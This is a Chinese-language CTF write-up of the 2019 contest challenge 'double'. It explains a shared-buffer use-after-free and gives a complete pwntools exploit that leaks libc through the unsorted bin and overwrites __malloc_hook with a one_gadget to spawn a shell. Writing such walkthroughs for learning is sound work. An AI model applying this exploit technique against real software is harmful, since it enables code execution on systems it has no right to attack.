2019信息安全国赛double详解,小白进!

前言

首先申明,这题我在比赛时没有写出来,今天复现的时候才写出来的。里面涉及到的一些知识点以前没有在意,所以特写一篇解析文章供和我一样的小白吃碎此题,也算是加深知识点的印象。欢迎大家交流。

前期分析

题目名字是double,在没写的时候我先猜测是不是一个UAF或者double free的漏洞。这里给大家分享个小技巧,写堆的题目的时候最好提前把一下函数在IDA里重命名一下。具体方法是用鼠标点一下函数名字然后按n键。下面我们看关键代码。

 if ( qword_4040D8 && !strcmp(*(const char **)(qword_4040D8 + 8), &s2) )
    {
      *ptr = *(_DWORD *)v3 + 1;
      ptr[1] = *(_DWORD *)(v3 + 4);
      *((_QWORD *)ptr + 1) = *(_QWORD *)(v3 + 8);
      *((_QWORD *)ptr + 2) = 0LL;
      *(_QWORD *)(v3 + 16) = ptr;
      qword_4040D8 = (__int64)ptr;
    }

这段代码是出现在new_info功能的函数中的。首先说一下里面的变量。qword_4040D8存放最后一个ptr指针。qword_4040D0存放第一个也就是编号为0的ptr指针,v3存放当前ptr的上一个指针,s2存放我们输入的内容。上面代码的逻辑为,如果qword_4040D8存在并且输入的data和上一个指针的存放的data相同,那么当前ptr和前一个ptr两个指针指向同一片data。到这里大家思路应该就清晰了起来。如果我们输入了两个相同data的info,然后我们delete了一个info,但此时我们还可以通过另外一个info来控制已经free了的堆块上的值。

利用思路

首先是泄露,我们这里可以采用泄露unsorted bin来获得libc基址。具体为生成两个data内容相同,且长度达到unsorted bin标准的chunk。然后free一个chunk,这时被free的chunk其fd和bk上存放的时unsorted bin的头指针。然后我们可以通过另一个没有被free的info来输出其fd的值,这样就泄露除了unsorted bin头指针。接下来的泄露libc需要引入一个gdb.attach()。关于这个调试我之前也很少接触过,也是这次才学习到。先给大家附上我的exp,方便下面的讲解。

from pwn import *
def  add(content):
  io.recvuntil('> ')
  io.sendline('1')
  io.recvuntil('Your data:\n')
  io.sendline(content)
def show(index):
  io.recvuntil('> ')
  io.sendline('2')
  io.recvuntil('Info index: ')
  io.sendline(str(index))
def edit(index,content):
  io.recvuntil('> ')
  io.sendline('3')
  io.recvuntil('Info index: ')
  io.sendline(str(index))
  io.sendline(content)
def delete(index):
  io.recvuntil('> ')
  io.sendline('4')
  io.recvuntil('Info index: ')
  io.sendline(str(index))
context.log_level='debug'
io=process('./pwn')
pwn=ELF('./pwn')
printf_got=pwn.got['puts']
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
log.success('printf_got='+hex(printf_got))
add('a'*0x80)  #0
add('a'*0x80)  #1
delete(0)
show(1)
unsort_addr=u64(io.recv(6).ljust(8,'\x00'))
gdb.attach(io)
log.success('unsort_addr='+hex(unsort_addr))
libc_base=unsort_addr-0x3c4b78
one_gadget=libc_base+0x4526a

fake_addr=libc_base+libc.symbols['__malloc_hook']-0x1b-8
unsort_fake=unsort_addr-88-0x1b-8
print('libc_fake='+hex(fake_addr))
print ('unsort_fake='+hex(unsort_fake))
log.success('fake_addr='+hex(fake_addr))
add(0x60*'b') #2
add(0x60*'b')   #3
delete(2)
payload1=p64(fake_addr).ljust(0x60,'\x00')
edit(3,payload1)
add(0x60*'c') #4
payload2=0x13*'a'+p64(one_gadget)
payload2=payload2.ljust(0x60,'\x00')
add(payload2) #5
io.recvuntil('> ')
io.sendline('1')
#gdb.attach(io)
io.interactive()

大家注意到最后一句加了一个gdb.attach(io)。让我们来看看效果。2019信息安全国赛double详解,小白进!
这里我们在gdb里输入vmmap
2019信息安全国赛double详解,小白进!
可以看到我们的加载基地址是0x00007f1ac8ef8000,而我们的unsorted_addr的值为0x7f1ac92bcb78两者的偏移在每次进程中都是固定的,offset=0x7f1ac92bcb78-0x00007f1ac8ef8000=0x3c4b78
这里面还有一个one_gadget,这个是github的一个开源项目,直接call one_gadget就可以拿到shell。我的这个one_gadget是在/lib/x86_64-linux-gnu/libc.so.6中取得,比赛得时候用相应版本得libc就行了。
泄露完成了之后就到写了。写我们采用fastbin attack,在写一个已经free的chunk的fd。当然这里系统对fd指向的chunk有要求,要求其size必须和当前fastbin的size相同。具体的知识大家可以在ctf wiki上补习一下,附上这个知识点的链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#arbitrary-alloc
这里用到了劫持__malloc_hook。hook得工作机制是如果他地址上的内容不为空得话就执行地址上的内容。__malloc_hook就在main_area的上面(unsorted_bin在main_area+88)。这里我们使用gdb调试一下。
2019信息安全国赛double详解,小白进!
2019信息安全国赛double详解,小白进!
我们可以看到在0x7f83fa220af5处的八个字节值为0x7f,他的fastbin的index为5。所以我们可以add两块fastbin的info,其index也是5的。index为5意味着其chunksize为0x70,去掉0x10的header。所以我们只需要malloc(0x60)即可以达成fastbin attack。
当我们把malloc分配到我们的fake_addr的时候要注意,用户操控的地址是chunk_size的地址+8。所以我们最后要填充0x13的’a’才能到malloc_hook。然后再malloc_hook上放上one_gadget。当我们执行malloc的时候即会先执行malloc_hook上的内容,到此我们就拿到了shell。
2019信息安全国赛double详解,小白进!

后记

虽然这篇文章写完了,虽然自己理解的很清楚,但是总感觉自己讲的比较晦涩。因为其中有很多知识点是需要补习的,而我没办法把所有的点都拿出来说一遍。所以这篇文章中的很多知识要大家辅以百度/Googole。如果大家看我这篇还不是很通畅的话,可以结合这篇文章来看:https://bbs.pediy.com/thread-250962.htm#程序逻辑。
做为入坑一个多月的萌新我深深的感觉到二进制的道阻且长,希望大家能在二进制的路上越走越远。另外本人水平有限,如果文章有错误希望大家能帮我指出~

上一篇:主备机房出口切换 python脚本


下一篇:T-shirt buying CodeForces - 799B (小根堆+STL)